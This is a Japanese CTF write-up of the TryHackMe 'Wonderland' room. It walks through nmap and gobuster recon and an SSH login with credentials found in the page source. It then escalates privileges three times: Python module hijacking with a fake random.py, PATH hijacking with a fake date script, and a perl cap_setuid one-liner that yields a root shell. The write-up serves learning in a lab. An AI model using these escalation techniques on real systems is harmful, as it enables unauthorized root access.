TryHackMe の Wonderland を最後までやったので、writeupを置いておきます。
何となくやることは見えるものの、ヒントがそこまで無かったり、知らなかった知識が必要だったりして最後はカンニングしてしまいましたが、とても勉強になりました。
「こうやったら悪用できそうじゃない?」と思ったものがいくつか実際に刺さったのも良い体験でした。
user.txt
マシンが立ったので、まずはnmap
して開いているポートを調査してみます。
$ nmap -A -p- -sV 10.10.74.91 Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-13 01:29 EST Nmap scan report for 10.10.74.91 Host is up (0.027s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA) | 256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA) |_ 256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519) 80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Follow the white rabbit. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 109.33 seconds
ssh, httpのポートが開いてるみたい。httpのほうのトップページはこちら。アリスのうさぎ。
サイトがあるので、gobuster
でpathを探してみます。
$ gobuster dir --url http://10.10.74.91/ -w /usr/share/wordlists/dirb/common.txt 1 ⨯ …(omit)... =============================================================== /img (Status: 301) [Size: 0] [--> img/] /index.html (Status: 301) [Size: 0] [--> ./] /r (Status: 301) [Size: 0] [--> r/] =============================================================== 2022/02/13 01:38:10 Finished ===============================================================
topと画像格納場所以外に、/r
という変なpathが。更に掘り下げてみます。
$ gobuster dir --url http://10.10.74.91/r/ -w /usr/share/wordlists/dirb/common.txt …(omit)... =============================================================== /a (Status: 301) [Size: 0] [--> a/] /index.html (Status: 301) [Size: 0] [--> ./] =============================================================== 2022/02/13 01:39:43 Finished ===============================================================
次は /a
。この並びだと、もしや rabbit
?と思ったので
http://10.10.74.91/r/a/b/b/i/t/
にアクセスすると、用意されてました!
このページのソースを見ると、
どうやらuser名とpasswordっぽいものが載っています。これを使ってマシンにssh接続してみます。
$ ssh alice@10.10.134.7 ...(omit)... alice@10.10.134.7's password: Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information disabled due to load higher than 1.0 0 packages can be updated. 0 updates are security updates. Last login: Mon May 25 16:37:21 2020 from 192.168.170.1 alice@wonderland:~$
aliceとしてloginに成功しました!
alice@wonderland:~$ ls root.txt walrus_and_the_carpenter.py alice@wonderland:~$ pwd /home/alice alice@wonderland:~$ cat root.txt cat: root.txt: Permission denied
rootじゃないのに root.txt
が置いてある。もちろんPermission denied。探しているのは user.txt
でこのディレクトリにあると思ったのに。他のuser directoryは
alice@wonderland:~$ ls /home
alice hatter rabbit tryhackme
が、aliceの権限では他のuserのhomeはアクセスできず。
ここでヒントを思い出してみます。
Everything is upside down here.
全部が逆さま。ほう。
ということは、/root
に user.txt
あるのでは?
alice@wonderland:~$ cat /root/user.txt thm{***********************}
あった!見れた!
root.txt
次のステップは権限昇格。root.txt
の隣に気になるスクリプトがいます。
import random poem = """The sun was shining on the sea, Shining with all his might: He did his very best to make The billows smooth and bright — And this was odd, because it was The middle of the night. ...(omit)... "O Oysters," said the Carpenter. "You’ve had a pleasant run! Shall we be trotting home again?" But answer came there none — And that was scarcely odd, because They’d eaten every one.""" for i in range(10): line = random.choice(poem.split("\n")) print("The line was:\t", line)
行ごとに文章を区切ってランダムにつなぎ合わせてポエムを生成するスクリプトらしい。
最近覚えたsudo -l
コマンド
コマンドを指定しない場合、現在のホストの起動ユーザ (または -U オプションで指定されたユーザ) に許可される (および禁止される) コマンドをリストアップする。
を使って、実行できるコマンドを確認してみます。
alice@wonderland:~$ sudo -l [sudo] password for alice: Matching Defaults entries for alice on wonderland: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User alice may run the following commands on wonderland: (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
これは rabbit
ユーザーとして上記が実行できるということ。やってみます。
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py The line was: Before his streaming eyes. The line was: He did his very best to make The line was: "But wait a bit," the Oysters cried, The line was: The line was: Swept it for half a year, The line was: The line was: To leave the oyster-bed. The line was: To leave the oyster-bed. The line was: The sea was wet as wet could be, The line was: But answer came there none —
できた。
しかしこのスクリプト、aliceに書き換え権限がありません。
他に何か使えるところはないかスクリプトを見返してみると、冒頭に import random
が。こちらで random.py
を作って優先的にimportしてもらい、shellをrabbit userで立ち上げられそう。以下、rondom.py
import os os.system("/bin/sh")
実行してみます。
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py $ whoami rabbit
狙ったとおりrabbitでshellを起動することが出来ました!rabbitとして探索してみます。
$ cd /home/rabbit $ ls teaParty $ file teaParty teaParty: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=75a832557e341d3f65157c22fafd6d6ed7413474, not stripped $ ./teaParty Welcome to the tea party! The Mad Hatter will be here soon. Probably by Tue, 15 Feb 2022 07:19:46 +0000 Ask very nicely, and I will give you some tea while you wait for him Segmentation fault (core dumped)
今度はteaParty
という実行ファイルを見つけたので実行してみると、一時間後に Mad Hatter が来るらしい。何回かやっても日時のところがファイル実行時のぴったり1時間後なので、ここは時刻を取得して表示してると予測。
下記は vi
コマンドで覗いてみた実行ファイルの出力部分。
The Mad Hatter will be here soon.^@^@^@^@^@/bin/echo -n 'Probably by ' && date --date='next hour' -R^@^@^@^@^@^@^@Ask very nicely, and I will give you some tea while you wait for him^@^@^@^@Segmentation fault (core dumped)
date --date='next hour'
というコマンドが使われています。
このファイルは rabbit user で編集可能なので、ここを書き換えれば他のコマンドを実行できそう。…と思ったけど、書き換えると Segmentation Faultで落ちるように。書き換え後の長さが書き換える前と同じなら良いのかな。
先程の random
と同様、今回は date
コマンドを自分で用意してそっちを使ってもらうようにできないか検討します。
export PATH=/home/rabbit:$PATH
これでpathを追加し、date
という実行ファイルを作ります。
#!/bin/sh
/bin/sh
これで date
コマンドでこっちのファイルが優先的に実行され、shellが起動するはず。権限を書きで変更するのを忘れずに。
chmod 775 date
実行してみます。
$ ./teaParty Welcome to the tea party! The Mad Hatter will be here soon. Probably by $ $ whoami hatter
hatterになれました!やったね!
/home/hatter
に行ってみると、password.txtが落ちています。
aliceのときと同様、このユーザーで使えるコマンドを一覧してみようと思いましたが
$ sudo -l [sudo] password for hatter: Sorry, user hatter may not run sudo on wonderland.
出来なかった。違う経路が必要そう。
ということで、このクレデンシャルを使って、再度sshを試みます。
$ ssh hatter@10.10.134.7 hatter@10.10.134.7's password: ...(omit)... Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. hatter@wonderland:~$
hatterとしてマシンに接続できました。
が、先程teaPartyから立ち上げたshellから出来ること以上のことが思いつかず、hatterでマシンをさまよいます。
どうにもわからなかったのでここでカンニング。
ここからは「ケーパビリティ」というのに焦点を当てると良かったみたい。恥ずかしながら知らなかったので、以下のサイトでお勉強。
- 第42回 Linuxカーネルのケーパビリティ[1]:LXCで学ぶコンテナ入門 -軽量仮想化環境を実現する技術|gihyo.jp … 技術評論社
- ケイパビリティ - ArchWiki
- getcap(8) - Linux manual page
- capabilities(7) - Linux manual page
- ケイパビリティ - mrtc0.log
上記のサイト群から要約を拾い集めてみました。
ケイパビリティはスーパーユーザー権限の細かい制御を提供することで、root ユーザーの使用を減らすことができます。ソフトウェアの開発者はシステムバイナリの強力な setuid 属性を最小セットのケイパビリティで置き換えることが推奨されています。
実際にpingではCAP_NET_RAWが利用されており, 一般ユーザーでもpingを使うことができるようになっている.
プロセスだけでなく実行ファイルにもケイパビリティセットを対応付けることができ、それぞれ下記の役割。
effective - これが設定されていなければ実行したときにプロセスのpermittedが設定されない
permitted - 実行したときに許可されるケイパビリティセット
inheritable - 実行時に継承されるケイパビリティセット
このマシンの実行ファイルのケーパビリティを調べてみます。-r
オプションで再帰的に、エラーを破棄するようにするとこんな感じ。
hatter@wonderland:~$ getcap -r / 2>/dev/null /usr/bin/perl5.26.1 = cap_setuid+ep /usr/bin/mtr-packet = cap_net_raw+ep /usr/bin/perl = cap_setuid+ep
どうも perl に cap_setuid+ep
のケーパビリティが。perl capability
でググってみると
こちらを発見。perlの実行ファイルに cap_setuid+ep
のケーパビリティが付与されている場合、自身のプロセスUIDを操作して特権アクセスを維持するためのバックドアとして使用することが出来るらしい。わお。
上記サイトにコマンドも載っていたので、そのまま実行してみます。
hatter@wonderland:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' # whoami root # cat /home/alice/root.txt **************************************
rootが取れ、root.txt
にアクセスすることが出来ました👍
ちなみに、あとから確認したところ、alice, rabbit, shell起動したhatterからは /usr/bin/perl, /usr/bin/perl5.26.1
に実行権限がなかったのでhatterのpasswordを入手して再度sshするプロセスは必要だったっぽい。逆に言うと、このcapability調査は最初にaliceとしてログインしたときにやっていても同じ結果が得られ、「なんかperl使えそう」という情報が得られ、
$ ls -l /usr/bin/perl -rwxr-xr-- 2 root hatter 2097720 Nov 19 2018 /usr/bin/perl
とperlの実行ファイルを確認するとhatterなら実行できることがわかり、hatterを目指すというルートが想定解だったのかもしれない。
capability set を確認するのは基本的な調査の一つらしいので、今後活用できるようにしておきたい。